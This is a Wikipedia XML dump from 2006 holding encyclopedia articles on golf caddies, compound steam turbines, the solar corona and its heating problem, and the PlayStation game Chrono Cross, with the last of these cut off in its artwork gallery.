  <page>
    <title>Caddy</title>
    <id>7837</id>
    <revision>
      <id>42148265</id>
      <timestamp>2006-03-04T03:25:50Z</timestamp>
      <contributor>
        <ip>70.226.175.226</ip>
      </contributor>
      <comment>/* Etymology */</comment>
      <text xml:space="preserve">{{otheruses2|Caddy}}

In [[golf]],  a '''caddy''' (or '''caddie''') is the person who carries a player's bag, and gives insightful advice and moral support. A caddy is aware of the challenges and obstacles of the golf course being played, along with the best strategy in playing it. This includes knowing overall yardage, pin placements and club selection.

== Etymology ==
The records are not certain, but historians believe that [[Mary I of Scotland|Mary, Queen of Scots]], came up with the term &quot;'''caddy'''&quot; in the late 16th century.  Mary grew up in [[France]] where military cadets carried golf clubs for royalty.  It is possible that Mary brought the custom to [[Scotland]], where the term evolved into the word &quot;caddy.&quot;

Alternatively, the word &quot;'''caddy'''&quot; may have originated from the [[Malay language|Malay]] word 'kati'. Kati is a measure for tea leaves and is printed on boxes used to carry and collect the tea leaves, hence its use in terms reflecting carrying and collecting.

Also, the word may have originated from the Welsh term &quot;cad&quot;, which is a &quot;battle&quot;, &quot;contest&quot;, or &quot;test&quot;, such as the [[Cad Goddeau]].

== Types of caddying ==
'''Traditional caddying''' involves both the ''golfer'' and the ''caddy'' walking the course.  The caddy is in charge of carrying the player’s bag and both the caddy and the golfer walk at the same pace.  This is the most common method used in [[golf club (equipment)|golf clubs]] and is the only method allowed in the [[Professional Golfers' Association|PGA (Professional Golf Association)]] and [[LPGA|LPGA (Ladies Professional Golf Association)]].

'''Fore-caddying''' is a type of caddying where the caddy is always ahead of the golfer, marking their ''shots'' where they land.  The caddy will start out a ''hole'' by running to the landing spot of their golfer’s tee shot.  The job of the caddy is to ''mark'' the ''ball'' with a ''towel'', ''stick'', ''etc.'' so that the golfer does not have to waste time searching for it.  If the hole is long and requires multiple shots before the golfer can reach the &quot;green&quot; (the putting surface at the end of each hole), then the fore-caddy will go ahead to the next landing area and mark his/her golfer’s ball until the ball reaches the green.  Once the golfer is on the green, the ''fore-caddy'' maintains regular caddy duties like raking sand traps and taking the pin out of the cup.  After the golfer is finished putting on the green, the ''fore-caddy'' returns to his/her duties and heads out to the next hole’s landing spot.  This routine continues for the remainder of the course.  The main purpose of this type of caddying is to let the golfers ride in ''carts'' if they are unable to walk the course with a caddy.

'''Cart-caddying''', a type of ''fore-caddying'', consists of a caddy driving a cart for the entire round of golf.  The main job of the caddy is to drive ahead of the walking golfer and ''mark'' their ball before they get there.  Getting to the ball first, the caddy can determine what type of shot the golfer should play.  

== Duties ==
The caddy's duties include ''carrying the bag, reading greens, raking [[bunkers]], giving correct yardage, helping with club selection, cleaning clubs and golf balls, replacing “divots” (chunks of grass), pulling the pin, knowing the conditions of the course, and providing pleasant company''.  Caddies must also be alert at all times.  Any penalty caused by the caddy is added on to his/her golfer’s ''score''.  The caddy should be aware of their surroundings at all times, especially when players are hitting.  Standing in other golfers’ ''line of putting or line of sight'' while they are hitting a ball is discouraged.  Also, during ''tournaments'' the caddy is expected to know the rules and point out any rule-breaking on the part of the golfer.  The caddy is responsible for knowing the ''maximum club limit'' allowed.  A caddy on the [[PGA Tour]], Miles Byrne, became famous when he forgot to count the clubs in [[Ian Woosnam]]'s bag (only 14 allowed) before the final round of the [[British Open]]. His mistake cost Woosnam two strokes and possibly the championship.  Duties performed by the caddy can directly affect the play of the golfer.  

== Relationship between the caddy and the golfer ==
The caddy and the golfer spend hours at a time together, which allows them to develop a ''relationship''.  One of the caddy’s jobs is to support the player mentally to help them golf a better round.  &quot;Small talk&quot; is one of the ways that the caddy and the golfer can get to know each other.  Most of the time, the golfer initiates the conversation by asking the caddy personal questions to get to know them and build a rapport.  ''Questions'' brought up may include where the caddy lives, where they go to school, professional aspirations, and the size of their family.  The golfer usually proceeds to tell the caddy about himself, forming a relationship for the duration of the round.  A seasoned caddy becomes pretty adept at reading the players he is working for and knowing if they prefer to receive advice during their rounds of golf or whether they prefer to be left alone and make decisions on their own.

== Weekly schedule ==
The weekly schedule for a caddy consists of working one to six days.  The most caddied days are Saturdays and Sundays when golfers have off work.  Caddies that are dedicated will work up to the maximum six days a week.  The number of days worked is limited to when the course is open.  Usually the course is closed one day out of the week (typically Monday).   This allows for the “greenskeeper”, or person in charge of keeping the course up to playing standards, to maintain the course; mowing and doing repairs where is needed.  At some courses, caddies are allowed to golf the day the course is closed.

== Pay scale ==
Caddies are paid at the end of the round by cash or with a ticket that can be cashed by the club.  Depending on how good the caddy is, there is a minimum ''base pay'' that is enforced by the club: the better the caddy, the higher the base pay.  In some countries, including the United States, the golfer is also expected to tip, based on how the caddy performed.  In the United States base pay can range anywhere from 15 dollars to 75 dollars, and tips can be nonexistent or up to a couple hundred percent of the base.  However, on average, a caddy at a local golf club or country club in the U.S. will earn forty to sixty dollars for a day’s work.

== Attire ==
*Collared shirt
*Khaki shorts or pants 
*Gym shoes (lots of walking and standing)
*Smock
*Towel

== Alternative names for a caddy ==
*Bagger
*Bag-toter
*Jock
*Looper
*Lugger
*Noonan

[[Category:Golf terminology]]
[[Category:Caddies| ]]
[[Category:Personal care and service occupations]]

[[de:Caddy]]
[[es:Caddy]]
[[sv:Caddie (golf)]]</text>
    </revision>
  </page>
  <page>
    <title>Compound turbine</title>
    <id>7838</id>
    <revision>
      <id>15905886</id>
      <timestamp>2005-05-05T23:55:00Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:Turbines]]</comment>
      <text xml:space="preserve">A '''compound turbine''' is a [[turbine]] in which there are two casings, a high-[[pressure]] casing and a low-pressure casing, operating in concert to extract work from a single source of steam. The steam is partially expanded in the high-pressure casing, then exhausted to the low-pressure casing. The rotor arrangement can be either tandem-compound in which the two axels are joined end to end, or cross-compound in which the two turbines have separate axels. In the cross-compound case two separate [[generator (device)|generator]]s must usually be supplied.

The principal advantages of compound turbines are the reduction in size of any one casing, the confinement of the highest pressure to the smaller casing (which may be made of stronger and more expensive materials) and the possibility of divided flow in the low-pressure casing for the purpose of equalizing end thrusts.
[[Category:Turbines]]</text>
    </revision>
  </page>
  <page>
    <title>Corona</title>
    <id>7839</id>
    <revision>
      <id>40687737</id>
      <timestamp>2006-02-22T08:28:21Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">{{Otheruses4|the astronomical term|other uses|Corona (disambiguation)}}

In astronomy, a '''corona''' is the luminous [[Plasma (physics)|plasma]] &quot;[[celestial body's atmosphere|atmosphere]]&quot; of the [[Sun]] or other celestial body, extending millions of [[kilometre]]s into space, most easily seen during a total [[solar eclipse]], but also observable in a [[coronagraph]].
[[Image:Solar_eclips_1999_4.jpg|thumb|300px|right|Photo taken during the [[France|French]] [[1999]] eclipse]]

==Physical features==
The Sun's corona is much hotter (by a factor of nearly 200) than the visible surface of the Sun: the [[photosphere]]'s average [[temperature]] is 5800 [[kelvin]]s compared to the corona's one to three million kelvins. The corona is 10&lt;sup&gt;&amp;minus;12&lt;/sup&gt; as dense as the photosphere, however, and so produces about one-millionth as much visible light. The corona is separated from the photosphere by the relatively shallow [[chromosphere]]. The exact mechanism by which the corona is heated is still the subject of some debate, but likely possibilities include induction by the Sun's [[magnetic field]] and [[sound|sonic]] pressure waves from below (the latter being less probable now that coronae are known to be present in early-type [[star]]s). The outer edges of the Sun's corona are constantly being lost as [[solar wind]].

The Corona is not always evenly distributed across the surface of the sun. During periods of quiet, the corona is more or less confined to the [[equator]]ial regions, with &quot;coronal holes&quot; covering the [[Geographical pole|polar]] regions. However, during the Sun's active periods, the corona is evenly distributed over the equatorial and polar regions, though it is most prominent in areas with [[sunspot]] activity.

The high temperature of the corona gives it unusual [[spectroscopy|spectral]] features, which led some to suggest, in the [[19th century]], that it contained a previously unknown element, &quot;[[coronium]]&quot;; however these spectral features have since been traced to known elements in high states of ionization.

===Transients===
Generated by [[solar flare]]s or large [[solar prominence]]s, &quot;coronal transients&quot; are sometimes released. These are enormous loops of coronal material traveling outward from the Sun at over a million kilometres per hour, containing roughly 10 times the energy of the solar flare or prominence that triggered them.

==Other stars==
Stars other than the Sun have coronae, which can be detected using [[X-ray]] [[telescope]]s. Some stellar coronae, particularly in young stars, are much more luminous than the Sun's.

== Coronal heating problem ==
The '''coronal heating problem''' in [[astronomy]] and [[astrophysics]] relates to the question of why the temperature of the Sun's corona is millions of kelvins higher than that of the surface. The high temperatures require energy to be carried from the solar interior to the corona by non-thermal processes, because the [[second law of thermodynamics]] prevents heat from flowing directly from the solar photosphere, or surface, at about 5800 kelvins, to the much hotter corona at about 1 to 3 [[SI prefix|MK]] (parts of the corona can even reach 10 MK). The amount of power required to heat the solar corona can easily be calculated. It is about 1 kilowatt for every square metre of surface area on the Sun, or 1/40,000 of the amount of light energy that escapes the Sun.

Two separate theories have emerged to explain why the corona is so hot, ''wave heating'' and ''magnetic reconnection''. Through most of the past 50 years, neither theory has been able to account for the coronal heat. Most [[solar physicists]] now believe that some combination of the two theories can probably explain coronal heating, although the details are not yet complete.

===Wave heating theory===
The ''wave heating'' theory, proposed in [[1949]] by [[Evry Schatzman]], proposes that waves carry energy from the solar interior to the solar chromosphere and corona. The Sun is made of [[Plasma physics|plasma]] rather than ordinary gas, so it supports several types of waves analogous to [[sound waves]] in air. The most important types of wave are [[magneto-acoustic wave]]s and [[Alfvén wave]]s. Magneto-acoustic waves are sound waves that have been modified by the presence of a magnetic field, and Alfvén waves, are similar to [[ULF]] [[radio waves]] that have been modified by interaction with [[matter]] in the plasma. Both types of waves can be launched by the turbulence of [[granulation]] and [[supergranulation]] at the solar photosphere, and both types of waves can carry energy for some distance through the solar atmosphere before turning into [[shock waves]] that dissipate their energy as heat.

One problem with wave heating is delivery of the heat to the appropriate place. Magneto-acoustic waves cannot carry sufficient energy upward through the chromosphere to the corona, both because of the low pressure present in the chromosphere and because they tend to be [[reflected]] back to the photosphere. Alfvén waves can carry enough energy, but do not dissipate that energy rapidly enough once they enter the corona. Waves in plasmas are notoriously difficult to understand and describe analytically, but computer simulations, carried out by [[Thomas Bogdan]] and colleagues in [[2003]], seem to show that Alfvén waves can transmute into other wave modes at the base of the corona, providing a pathway that can carry large amounts of energy from the photosphere into the corona and then dissipate it as heat.

Another problem with wave heating has been the complete absence, until the late [[1990s]], of any direct evidence of waves propagating through the solar corona. The first direct observation of waves propagating into and through the solar corona was made in [[1997]] with the [[Solar and Heliospheric Observatory|SOHO]] space-borne solar observatory, the first platform capable of observing the Sun in the [[ultraviolet|extreme ultraviolet]] for long periods of time with stable [[Photometry (astronomy)|photometry]]. Those were magneto-acoustic waves with a frequency of about 1 [[hertz|millihertz]] (mHz, corresponding to a 1,000 second wave period), that carry only about 10% of the energy required to heat the corona. Many observations exist of localized wave phenomena, such as Alfvén waves launched by solar flares, but those events are transient and cannot explain the uniform coronal heat.

It is not yet known exactly how much wave energy is available to heat the corona. Results published in [[2004]] using data from the [[TRACE]] spacecraft seem to indicate that there are waves in the solar atmosphere at frequencies as high as 100 mHz (10 second period). Measurements of the temperature of different [[ions]] in the solar wind with the [[UVCS]] instrument aboard SOHO give strong indirect evidence that there are waves at frequencies as high as 200 Hz, well into the range of human hearing. These waves are very difficult to detect under normal circumstances, but evidence collected during solar eclipses by teams from [[Williams College]] suggest the presences of such waves in the 1-10 Hz range.

===Magnetic reconnection theory===
The [[Magnetic reconnection]] theory relies on the solar magnetic field to induce electric currents in the solar corona. The currents then collapse suddenly, releasing energy as heat and wave energy in the corona. This process is called &quot;reconnection&quot; because of the peculiar way that magnetic fields behave in a plasma (or any electrically conductive fluid such as [[Mercury (element)|mercury]] or [[seawater]]). In a plasma, [[magnetic field lines]] are normally tied to individual pieces of matter, so that the [[topology]] of the magnetic field remains the same: if a particular north and south [[magnetic pole]] are connected by a single field line, then even if the plasma is stirred or if the magnets are moved around, that field line will continue to connect those particular poles. The connection is maintained by electric currents that are induced in the plasma. Under certain conditions, the electric currents can collapse, allowing the magnetic field to &quot;reconnect&quot; to other magnetic poles and release heat and wave energy in the process.

[[Magnetic reconnection]] is known to be the mechanism behind solar flares, the largest explosions in our solar system. Furthermore, the surface of the Sun is covered with millions of small magnetized regions 50-1,000 km across. These small magnetic poles are buffeted and churned by the constant granulation. The magnetic field in the solar corona must undergo nearly constant reconnection to match the motion of this &quot;magnetic carpet&quot;, so the energy released by the reconnection is a natural candidate for the coronal heat, perhaps as a series of &quot;microflares&quot; that individually provide very little energy but together account for the required energy.

The idea that microflares might heat the corona was put forward by [[Eugene Parker]] in the [[1980s]] but is still controversial. In particular, [[ultraviolet]] telescopes such as TRACE and SOHO/EIT can observe individual micro-flares as small brightenings in extreme ultraviolet light, but there seem to be too few of these small events to account for the energy released into the corona. The additional energy not accounted for could be made up by wave energy, or by gradual magnetic reconnection that releases energy more smoothly than micro-flares and therefore doesn't appear well in the TRACE data. Variations on the microflare hypothesis use other mechanisms to stress the magnetic field or to release the energy, and are a subject of active research in [[2005]].

== External links ==

* [http://www.innovations-report.com/html/reports/physics_astronomy/report-33153.html Coronal heating problem at Innovation Reports]
* [http://imagine.gsfc.nasa.gov/docs/science/mysteries_l1/corona.html NASA/GSFC description of the coronal heating problem]
* [http://solar-center.stanford.edu/FAQ/Qcorona.html FAQ about coronal heating]
* [http://sohowww.nascom.nasa.gov Solar and Heliospheric Observatory, including near-real-time images of the solar corona]

[[Category:Sun]]
[[Category:Space plasmas]]
[[Category:Plasma physics]]

[[de:Korona (Sonne)]]
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[[ja:コロナ]]
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  <page>
    <title>Chrono Cross</title>
    <id>7840</id>
    <revision>
      <id>42121149</id>
      <timestamp>2006-03-03T23:31:22Z</timestamp>
      <contributor>
        <username>Deckiller</username>
        <id>335672</id>
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      <minor />
      <comment>rv deletion of entry</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Chrono Cross
| image = [[Image:chronocrossbox.jpg|250px|Chrono Cross North American Box Art]]
| developer = [[Square Co., Ltd.]]
| publisher = [[Image:Flag of Japan.svg|22px|Japan]] [[Square Co., Ltd.]]&lt;br /&gt;[[Image:Flag of the United States.svg|22px|United States of America]] [[Square Electronic Arts|Square EA]]
| designer =
| engine =
| released = [[Image:Flag of Japan.svg|22px|Japan]] [[November 18]], [[1999]]&lt;br /&gt;[[Image:Flag of the United States.svg|22px|United States of America]] [[August 15]], [[2000]]
| genre = [[Computer role-playing game|RPG]]
| modes = [[Single player]]
| ratings = [[ESRB]]: [[Image:ESRB_T.png|12px|T]] Teen
| platforms = [[PlayStation]]
| media = 2 x [[CD-ROM]]
| requirements =
| input =
}}
'''''Chrono Cross''''' (クロノ・クロス ''Kurono Kurosu'') is a [[PlayStation]] [[Computer role-playing game|RPG]] created by [[Square Co., Ltd.]] (now [[Square Enix]]) with a story that builds upon ''[[Chrono Trigger]]''. However, ''Chrono Trigger'' team members [[Hironobu Sakaguchi]] (Supervisor), [[Yuji Horii]] (Supervisor, Initial Scenario Writer), and [[Akira Toriyama]] (Character Design) were not a part of the ''Chrono Cross'' development team, and their absence is very noticeable. Indeed, few of the original staff participated on the game as they had been reassigned to different teams over the years. 

In [[1996]], ''Chrono Trigger'' had a [[side story]] released in [[Japan]] called ''[[Radical Dreamers]]'' for the [[Satellaview]] add-on for the [[Super Famicom]] (SNES), but was an illustrated [[Interactive fiction|text adventure]]. When ''Chrono Cross'' was being designed, parts of the plot and characters of ''Radical Dreamers'' were used. However, ''Chrono Cross'' cannot be viewed as a mere remake of ''Radical Dreamers'' as they have a lot of differences and incompatibilities.

''Chrono Cross'' was released in [[United States]] in [[2000]] and features music composed by [[Yasunori Mitsuda]]. The game was hailed by professional reviewers, but some ''Chrono Trigger'' fans denounced it as an inferior sequel. In some cases, this is a result of these players wanting to control the old cast of ''Chrono Cross''&lt;nowiki&gt;'&lt;/nowiki&gt;s predecessor and play a more direct sequel. ''Chrono Cross'' sold to expectations in the [[United States]], but disappointing Japanese sales lead some to speculate that the ''Chrono'' series has been halted.

Like the majority of [[Square Co., Ltd.|Square]] productions, ''Chrono Cross'' has yet to be granted an official [[European]] release. Square has cited a combination of economic and technical expenses involved with formatting the game for PAL territories as the reason behind not converting this game for release in Europe.

==Plot==
{{spoiler}}
The story of ''Chrono Cross'' revolves around the character Serge, the protagonist, who, as a small child, is supposed to drown, but is saved by a powerful force. The resulting shift in the world's history creates two distinct parallel [[dimension]]s. In one dimension, he survives and lives for 10 years before the game begins. In the [[alternate dimension]], he drowns in a beach near his home.

The plot itself revolves around Serge's unknowing efforts to free [[Schala]] from the Time Devourer: a fusion of [[Lavos]], the ultimate enemy from ''Chrono Trigger'' with the capacity to destroy the planet, and [[Schala]], a princess of Zeal and sister of [[Magus (Chrono Trigger)|Magus]] with immense magical power who has disappeared into the Darkness Beyond Time due to an accident. Years in the future, Belthasar, a former guru of Zeal, discovered that the Time Devourer had formed and planned to consume all spacetime; he thus set in motion an almost ludicrously complex chain of events meant to give rise to and guide Serge to venture to the Time Devourer and use an artifact known as the ''Chrono Cross'' to restore the dimensions to one and free Schala from Lavos's grasp. While the plot is sound, its delivery is criticized by some as excessively complex. Unlike ''Chrono Trigger'', in which the basic plot is simple and straight-forward, much of the dialogue throughout the game of ''Chrono Cross'' must be read carefully in order to make sense of the story. Because some ''Chrono Cross'' players do not listen to much of the game's characters, they mistakenly accuse the plot of being weak and senseless. Thus, many players resort to guides, such as the following link, to understand the story's intricacies. [http://www.chronocompendium.com/Term/Chrono_Cross_Condensed_Plot_Summary]

While ''Chrono Cross'' incorporates elements from ''Radical Dreamers'', the stories of the two games are incompatible. To resolve the scenario continuity issue and to acknowledge the existence of ''Radical Dreamers'', the designers suggested that the events of Radical Dreamers did happen, but took place in a parallel [[dimension]]. This can be found by reading one of the computer consoles in Chronopolis, a city which was pulled back in time due to a failed experiment. Chronopolis now monitors the El Nido Archipelago, in an attempt to prevent a paradox from occurring which would prevent its existence in the future. The most notable difference is that Magus is absent from the game. While confirmed to be Magil in Radical Dreamers by both the game and its creator, Magus does not assume the identity Guile in ''Chrono Cross'', as is commonly assumed. It was noted in an interview that the developers originally planned for Magus to be in the game, but scrapped the idea due to difficulties representing his story amongst forty-three other characters.

[[Image:Chrono-Cross-title-screen.jpg|right|220px|thumb|''Chrono Cross'' title screen]]

==Characters==
There are 44 characters normally (Lynx unlockable through an odd twist in the gameplay), with six Elements for each of them. While the presence of six elements is a departure from ''Chrono Trigger''&lt;nowiki&gt;'&lt;/nowiki&gt;s limit at four, the game does provide an explanation for the change — that ''Chrono Trigger''&lt;nowiki&gt;'&lt;/nowiki&gt;s magic was the manipulating of the basic four fundamental properties of the universe, and ''Chrono Cross''&lt;nowiki&gt;'&lt;/nowiki&gt;s magic is the use of manufactured tools to effect changes in nature.

The game has 45 possible party members to acquire, all of whom come with several abilities of their own, with some combining into Double and Triple Techs.

Because of the incredibly vast number of possible party combinations, the North American version of the game contains a system to modify base text for each character's accent. Whereas other games would need to program different blocks of text for each character, this game uses the same text and modifies it based on the character using it. This was done so that a North American localization would be possible.

An example of its coding in the script:

Member Name:&lt;br&gt;
l.et's2 .go.suffixe, Serge..&lt;br&gt;
the w.ater1 .Dr3agon .mus1t .be.&lt;br&gt;
be.yondth1is1 .point...

===White innate characters===
White is a more mystical element than others, encompassing light, holiness, and healing. One of the characters with a White element is a religious person. White innate characters have access to the most powerful healing spells in the game. White corresponds to ''Chrono Trigger''&lt;nowiki&gt;'&lt;/nowiki&gt;s &quot;Lightning&quot; element, which was actually known as &quot;Heaven&quot; in the original Japanese version of the game. (Heaven included lightning spells because lightning comes down from the heavens.) It was renamed Lightning in the English localization due to [[Nintendo|Nintendo of America]]'s strictly enforced policy which demanded that any and all religious references be omitted from North American versions of games.  Note that the character Pip is capable of evolving and, in doing so, changing his element.

*[[Serge (Chrono Cross)|Serge]] (Swallow) (Male)
*[[Doc (Chrono Cross)|Doc]] (Shot) (Male)
*[[Image:Pip normal portrait.png|16px|Pip]] [[Pip (Chrono Cross)|Pip]] (Glove) (Male)
*[[Image:Starky portrait.png|16px|Starky]] [[Starky]] (Gun) (Male)
*[[Riddel]] (Staff) (Female)
*[[Steena]] (Sword) (Female)

===Black innate characters===
Black is a darker element than others. Two of the characters with a Black element are undead or spirits. Great with offensive magic. This roughly corresponds to the &quot;Shadow&quot; element from ''Chrono Trigger''.

*[[Image:Serge as Lynx portrait (Chrono Cross).png|16px]] [[Lynx (Chrono Cross)|Lynx]] (Swallow) (Male)
*[[Image:Guile portrait (Chrono Cross).png|16px]] [[Guile (Chrono Cross)|Guile]] (Rod) (Male)
*[[Image:Harle portrait.png|16px]] [[Harle]] (Shot) (Female)
*[[Image:Luccia portrait.png|16px]] [[Luccia]] (Shot) (Female)
*[[Image:Mojo portrait (Chrono Cross).png|16px]] [[Mojo (Chrono Cross)|Mojo]] (Glove) (Male)
*[[Image:Skelly portrait.png|16px]] [[Skelly]] (Glove) (Male)
*[[Image:Grobyc portrait.png|16px]] [[Grobyc]] (Glove) (Male)

===Red innate characters===
Red innate characters have a high focus on power. Many of the Red characters are some of the most powerful. Naturally, red is the element of fire and lava. In ''Chrono Trigger'', it was simply called, &quot;Fire&quot;.

*[[Kid (Chrono Cross)|Kid]] (Dagger) (Female)
*[[Greco (Chrono Cross)|Greco]] (Glove) (Male)
*[[Image:Draggy portrait.png|16px|Draggy]] [[Draggy]] (Glove) (Male)
*[[Miki (Chrono Cross)|Miki]] (Glove) (Female)
*[[Orcha]] (Utensils) (Male)
*[[Macha (Chrono Cross)|Macha]] (Utensils) (Female)
*[[Zappa (Chrono Cross)|Zappa]] (Axe/Hammer) (Male)
*[[Janice (Chrono Cross)|Janice]] (Carrot) (Female)

===Blue innate characters===
Blue innate characters are good healers and offensive magic users. Leena is one of the best healers. Blue is the element of water and ice. This matches ''Chrono Trigger'', in which [[Marle (Chrono Trigger)|Marle]] uses ice magic but as labeled &quot;Water&quot; like Frog.

*[[Orlha]] (Glove) (Female)
*[[Marcy (Chrono Cross)|Marcy]] (Glove) (Female)
*[[Fargo (Chrono Cross)|Fargo]] (Sword) (Male)
*[[Pierre (Chrono Cross)|Pierre]] (Sword) (Male)
*[[Nikki]] (Pick) (Male)
*[[Irenes]] (Pick) (Female)
*[[Leena]] (Utensils) (Female)
*[[Korcha]] (Lure) (Male)

===Green innate characters===
Green innate characters are good healers as well as good offensive magic users, like Razzly, and also good with physical attacks, like Glenn and Karsh. Green is the element of air and nature. It has no equivalent in ''Chrono Trigger''.

*[[Glenn (Chrono Cross)|Glenn]] (Sword) (Male)
*[[Image:Turnip portrait-Chrono Cross.png|16px|Turnip]] [[Turnip (Chrono Cross)|Turnip]] (Sword) (Male)
*[[Sprigg]] (Staff) (Female)
*[[Radius (Chrono Cross)|Radius]] (Staff) (Male)
*[[Image:NeoFio portrait.png|16px|NioFio]] [[NeoFio]] (Glove) (Female)
*[[Razzly]] (Rod) (Female)
*[[Karsh]] (Axe) (Male)
*[[Van (Chrono Cross)|Van]] (Boomerang) (Male)

===Yellow innate characters===
Great offensive fighters. Some of the most powerful characters, especially Leah. Yellow magic is rooted in electricity and earth. However, it does not correspond with any element in ''Chrono Trigger''; ''Trigger''&lt;nowiki&gt;'&lt;/nowiki&gt;s Lightning element is merely an invention of its localization team (the original element being Heaven).

*[[Zoah]] (Glove) (Male)
*[[Image:Poshul portrait.png|16px|Poshul]] [[Poshul]] (Glove) (Female)
*[[Leah (Chrono Cross)|Leah]] (Axe) (Female)
*[[Image:Funguy portrait.png|16px|Funguy]] [[Funguy]] (Axe) (Male)
*[[Norris (Chrono Cross)|Norris]] (Gun) (Male)
*[[Sneff]] (Shot) (Male)
*[[General Viper]] (Sword) (Male)
*[[Mel (Chrono Cross)|Mel]] (Boomerang) (Female)

===Returning characters===
Six characters from ''Chrono Trigger'' return in the sequel. These characters, however, are [[non-player character|not playable]] and only make brief appearances, though some fans have speculated that some of the game's player characters are in fact ''Chrono Trigger'' characters (especially Magus) going by another name.

*[[Crono]] - Crono appears as a spirit on two different occasions; once in the Dead Sea, and again near the portal to [[Lavos]].

*[[Marle (Chrono Trigger)|Marle]] - Marle appears as a spirit on three different occasions; once while the party enters the Hydra Marshes, again in the Dead Sea, and last near the portal to Lavos.

*[[Lucca (Chrono Trigger)|Lucca]] - Lucca appears in more than one form. She first appears in the Dead Sea, as the spirit of a child. Later, when you're in Kid's memory, you will see her for a brief instance as Lynx takes her away, to assist him in his plans. She once again appears as a spirit, near the portal to [[Lavos]].

*[[Robo (Chrono Trigger)|Robo]] - Robo appears in Chronopolis, under the name Prometheus. He is used to keep FATE locked up, and after talking to Serge and company, he is executed by FATE.

*[[Magus (Chrono Trigger)|Magus]] - In a letter sent by Lucca, she says to Kid that Janus may be watching over her, and &quot;if so, hello, Janus!&quot; Some claim that he was in the room, based on a human-shaped shadow that appears when the letter is being read.

*[[Lavos]] - Lavos returns as the main villain of the game, but never appears until the very end of the game. While Serge and company believed that breaking FATE's seal on the Dragons was a good idea, it turned out that they were not the Dragons they had once been, their original united form having been assimilated by Lavos' Devourer of Time form. As the Time Devourer, Lavos had Schala attached to him, this being due to Lavos' existence being cast into the Darkness Beyond Time -- where Schala had previously been banished by Lavos -- once Chrono and his friends from ''Chrono Trigger'' defeated him.

*[[Ozzie, Slash, and Flea]] - Appearing in a hidden boss fight, the three have no bearing on the plot. [[Sprigg]] can learn to transform into any member of the trio. As Slash, she can perform the &quot;Z Slash&quot; triple tech when teamed with Fargo and Glenn.

===Character relationships===
It is revealed at many points different relationships between playable and non-playable characters. Here's a list of relationships.
* Serge - Boyfriend of Leena, Son of Lynx, Future Husband of Kid/Schala[http://en.wikipedia.org/wiki/Serge_%28Chrono_Cross%29#Connection_Serge_and_Magus_.28Janus_Zeal.29]
* Pip - Specimen of Luccia
* Riddel - Daughter of General Viper, Fiancee of Dario
* Lynx - Father of Serge
* Wazuki - Original identity of Serge's father
* Miguel - Friend of Wazuki, father of Leena
* Guile - None (was going to be Magus, Schala's brother, but his backstory was dropped due to complications)
* Luccia - Friend of Lucca
* Kid - Daughter-clone of Schala, raised by Lucca, future wife of Serge[http://en.wikipedia.org/wiki/Serge_%28Chrono_Cross%29#Connection_Serge_and_Magus_.28Janus_Zeal.29]
* Miki - Lead dancer for Nikki's show
* Macha - Mother of Korcha and Mel
* Zappa - Father of Karsh, Husband of Zippa
* Zippa - Mother of Karsh, Wife of Zappa
* Marcy - Acacia Deva, Daughter of Fargo, Sister of Nikki, Niece of Irenes
* Fargo - Brother-in-law of Irenes, Father of Nikki and Marcy
* Nikki - Son of Fargo, Brother of Marcy, Nephew of Irenes, Friend of Miki's
* Irenes - Sister-in-law of Fargo, Aunt of Nikki and Marcy
* Leena - Girlfriend of Serge
* Una - Sister of Leena
* Korcha - Son of Macha, Brother of Mel
* Glenn - Brother of Dario, Son of Garai, Friend of Karsh
* Radius - Friend of Viper, the three Devas, Glenn, Riddel and Garai, Former Acacia Deva, Murderer of Garai
* Karsh - Acacia Deva, Son of Zappa, Killer of Dario, Friend Glenn, Riddel and Radius
* General Viper - Acacia Dragoons leader, Friend of Lynx, Glenn, Radius, Father of Riddel
* Mel - Daughter of Macha, Sister of Korcha
* Garai - Father of Glenn and Dario, Wielder of Einlanzer, Friend of Radius
* Dario - Brother of Glenn, Son of Garai, Wielder of Masamune

==Music==
A three-[[CD]] official soundtrack was released soon after the game, and eventually sold out. [[Yasunori Mitsuda]] noted in the OST's liner notes that he was happy to accomplish even half of what he envisioned in terms of transferring his ideas to the Playstation's sound capabilities. He also named several influences in the liner notes, including a Mediterranean theme, [[Fado]] music, African percussion and old music from several cultures — most notably Celtic. After ''Chrono Cross'' was completed, Mitsuda personally undertook a playthrough to observe how the tracks matched up to their correspondent scenes and settings in the game.

Though the ''Chrono Cross'' OST sold out a year or two after its release, SquareEnix recently reissued it due to popular demand. Currently, the only legitimate way to purchase the soundtrack is through Amazon Japan [http://www.amazon.co.jp/exec/obidos/ASIN/B0009J8HB6/procyonstudio-22]. Amazon Japan will gladly ship overseas and does feature English support for its pages.

==Awards/Ratings==
This is a list of various awards and overall ratings that the game has so far received.

* [[Electronic Gaming Monthly]] - Gold Award

Also, [[GameSpot]] has reviewed over 1100+ games and has only given 4 of them a perfect 10/10.
''Chrono Cross'' is one of them.

* [http://www.gamespot.com/ps/rpg/chronocross/index.html?q=chrono+cross GameSpot considers ''Chrono Cross'' to be perfect in every manner.]

As of January 2006, [http://www.rottentomatoes.com/g/playstation/chrono_cross/ Rottentomatoes.com] gives a rating of 92% for ''Chrono Cross'', [http://www.gamerankings.com/htmlpages2/196917.asp Gamerankings.com] provides a rating of 93%, and the fan ratings on GameSpot averages to 9.3/10.

==&quot;Chrono Break&quot;==
Square applied for a trademark for the name ''[[Chrono Break]]'' in the U.S., late 2001, resulting in speculation by fans of the possibility of a sequel. However, the trademark was dropped in the [[United States]] on [[November 13]], [[2003]], confirmed by the [[United States Patent and Trademark Office]]. The trademark still stands in Japan, where it was registered as ''Chrono Brake''. It is suspected that the project had been planned at one point (with one of the original ''Chrono Trigger'' project leads at the helm, and not the ''Chrono Cross''/''[[Xenogears]]''/''[[Final Fantasy XI]]'' staff), but cancelled before production could begin. Focus on other games such as the Final Fantasy series may have also contributed to Square's abandonment of this title.

==Packaging artwork==
&lt;center&gt;
&lt;gallery&gt;
Image:Chrono Cross Japanese box art.jpg|''Chrono Cross''&lt;br&gt;Sony PlayStation&lt;br&gt;Japan, 1999
Image:chronocrossbox.jpg|''Chrono Cross''&lt;br&gt;Sony PlayStation&lt;br&gt;North America, 2000
Image:Chrono Cross Square Millennial Collection box art.gif|''Chrono Cross: Square Millennium Collection''&lt;br&gt;Sony PlayStation&lt;br&gt;Japan, 2000
&lt;/gallery&gt;
